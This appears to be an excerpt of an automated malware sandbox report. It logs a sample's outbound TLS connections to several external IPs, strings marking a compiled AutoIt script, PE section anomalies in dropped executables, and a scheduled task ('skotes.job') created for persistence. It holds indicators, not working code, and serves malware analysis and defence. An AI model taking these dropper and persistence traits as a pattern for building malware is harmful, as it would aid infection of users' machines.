Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49698 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50007 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49947 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49677 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49969 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49994 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50006 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49700
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49942
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49940
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49939
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49938
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49936
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49935
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49934
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49933
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49932
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49931
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49930

Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.7:49700 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.16.229.162:443 -> 192.168.2.7:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.7:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.16.229.162:443 -> 192.168.2.7:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.7:49842 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.74.152:443 -> 192.168.2.7:49942 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.9:443 -> 192.168.2.7:49963 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.9:443 -> 192.168.2.7:49973 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.9:443 -> 192.168.2.7:49982 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.9:443 -> 192.168.2.7:49994 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.9:443 -> 192.168.2.7:50001 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.7:50006 version: TLS 1.2

System Summary

Binary is likely a compiled AutoIt script file

Source: c679ee9018.exe, 00000022.00000000.2483923600.0000000000D42000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_54faca72-3
Source: c679ee9018.exe, 00000022.00000000.2483923600.0000000000D42000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_f2a2d79f-1
Source: random[1].exe1.23.dr	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_e0f08e12-6
Source: random[1].exe1.23.dr	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_9b5e9208-0
Source: c679ee9018.exe.23.dr	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_f5c3bf77-c
Source: c679ee9018.exe.23.dr	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_33f61724-6

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: EBFBKFBGII.exe.0.dr	Static PE information: section name:
Source: EBFBKFBGII.exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.19.dr	Static PE information: section name:
Source: skotes.exe.19.dr	Static PE information: section name: .idata
Source: random[1].exe.23.dr	Static PE information: section name:
Source: random[1].exe.23.dr	Static PE information: section name: .idata
Source: random[1].exe.23.dr	Static PE information: section name:
Source: bbbef9e2c3.exe.23.dr	Static PE information: section name:
Source: bbbef9e2c3.exe.23.dr	Static PE information: section name: .idata
Source: bbbef9e2c3.exe.23.dr	Static PE information: section name:
Source: random[1].exe0.23.dr	Static PE information: section name:
Source: random[1].exe0.23.dr	Static PE information: section name: .idata
Source: random[1].exe0.23.dr	Static PE information: section name:
Source: 2a79a10743.exe.23.dr	Static PE information: section name:
Source: 2a79a10743.exe.23.dr	Static PE information: section name: .idata
Source: 2a79a10743.exe.23.dr	Static PE information: section name:

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 23_2_0080CB97 NtFlushProcessWriteBuffers,NtFlushProcessWriteBuffers,

23_2_0080CB97

Source: C:\Users\user\Documents\EBFBKFBGII.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDBECC0	0_2_6CDBECC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE1ECD0	0_2_6CE1ECD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDCAC60	0_2_6CDCAC60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE9AC30	0_2_6CE9AC30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE86C00	0_2_6CE86C00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF4CDC0	0_2_6CF4CDC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDC4DB0	0_2_6CDC4DB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE56D90	0_2_6CE56D90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE8ED70	0_2_6CE8ED70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEEAD50	0_2_6CEEAD50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF48D20	0_2_6CF48D20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDCAEC0	0_2_6CDCAEC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE60EC0	0_2_6CE60EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE46E90	0_2_6CE46E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE5EE70	0_2_6CE5EE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEA0E20	0_2_6CEA0E20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE9EFF0	0_2_6CE9EFF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDC0FE0	0_2_6CDC0FE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF08FB0	0_2_6CF08FB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDCEFB0	0_2_6CDCEFB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE82F70	0_2_6CE82F70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE2EF40	0_2_6CE2EF40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDC6F10	0_2_6CDC6F10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF00F20	0_2_6CF00F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEC68E0	0_2_6CEC68E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEAC8C0	0_2_6CEAC8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE94840	0_2_6CE94840
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE10820	0_2_6CE10820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE4A820	0_2_6CE4A820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEDC9E0	0_2_6CEDC9E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDF49F0	0_2_6CDF49F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE509A0	0_2_6CE509A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE7A9A0	0_2_6CE7A9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE809B0	0_2_6CE809B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDF8960	0_2_6CDF8960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE16900	0_2_6CE16900
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE3EA80	0_2_6CE3EA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE3CA70	0_2_6CE3CA70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE78A30	0_2_6CE78A30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE6EA00	0_2_6CE6EA00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEC6BE0	0_2_6CEC6BE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEAEBD0	0_2_6CEAEBD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE60BA0	0_2_6CE60BA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDC8BAC	0_2_6CDC8BAC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE064D0	0_2_6CE064D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE5A4D0	0_2_6CE5A4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEEA480	0_2_6CEEA480
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDD8460	0_2_6CDD8460
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE24420	0_2_6CE24420
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE4A430	0_2_6CE4A430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE8A5E0	0_2_6CE8A5E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE4E5F0	0_2_6CE4E5F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDB45B0	0_2_6CDB45B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE22560	0_2_6CE22560
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE60570	0_2_6CE60570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF08550	0_2_6CF08550
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE18540	0_2_6CE18540
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEC4540	0_2_6CEC4540
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE1E6E0	0_2_6CE1E6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE5E6E0	0_2_6CE5E6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDE46D0	0_2_6CDE46D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE1C650	0_2_6CE1C650
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDEA7D0	0_2_6CDEA7D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE40700	0_2_6CE40700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDB8090	0_2_6CDB8090
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE9C0B0	0_2_6CE9C0B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDD00B0	0_2_6CDD00B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE0E070	0_2_6CE0E070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE8C000	0_2_6CE8C000
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE88010	0_2_6CE88010
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDC01E0	0_2_6CDC01E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE28140	0_2_6CE28140
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE36130	0_2_6CE36130
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEA4130	0_2_6CEA4130
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF462C0	0_2_6CF462C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE922A0	0_2_6CE922A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE8E2B0	0_2_6CE8E2B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE48260	0_2_6CE48260
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE58250	0_2_6CE58250
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE98220	0_2_6CE98220
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE8A210	0_2_6CE8A210
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE143E0	0_2_6CE143E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE1E3B0	0_2_6CE1E3B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDF23A0	0_2_6CDF23A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF02370	0_2_6CF02370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEDC360	0_2_6CEDC360
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE56370	0_2_6CE56370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDC8340	0_2_6CDC8340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDC2370	0_2_6CDC2370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE32320	0_2_6CE32320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE81CE0	0_2_6CE81CE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEFDCD0	0_2_6CEFDCD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE5FC80	0_2_6CE5FC80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDC3C40	0_2_6CDC3C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEE9C40	0_2_6CEE9C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDD1C30	0_2_6CDD1C30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE91DC0	0_2_6CE91DC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDB3D80	0_2_6CDB3D80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF09D90	0_2_6CF09D90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE23D00	0_2_6CE23D00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDE3EC0	0_2_6CDE3EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF1BE70	0_2_6CF1BE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF45E60	0_2_6CF45E60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CECDE10	0_2_6CECDE10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE6BFF0	0_2_6CE6BFF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEDDFC0	0_2_6CEDDFC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF43FC0	0_2_6CF43FC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDE1F90	0_2_6CDE1F90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF17F20	0_2_6CF17F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEC3F30	0_2_6CEC3F30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDB5F30	0_2_6CDB5F30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDF5F20	0_2_6CDF5F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF1B8F0	0_2_6CF1B8F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE9F8F0	0_2_6CE9F8F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE5F8C0	0_2_6CE5F8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDCD8E0	0_2_6CDCD8E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDF38E0	0_2_6CDF38E0
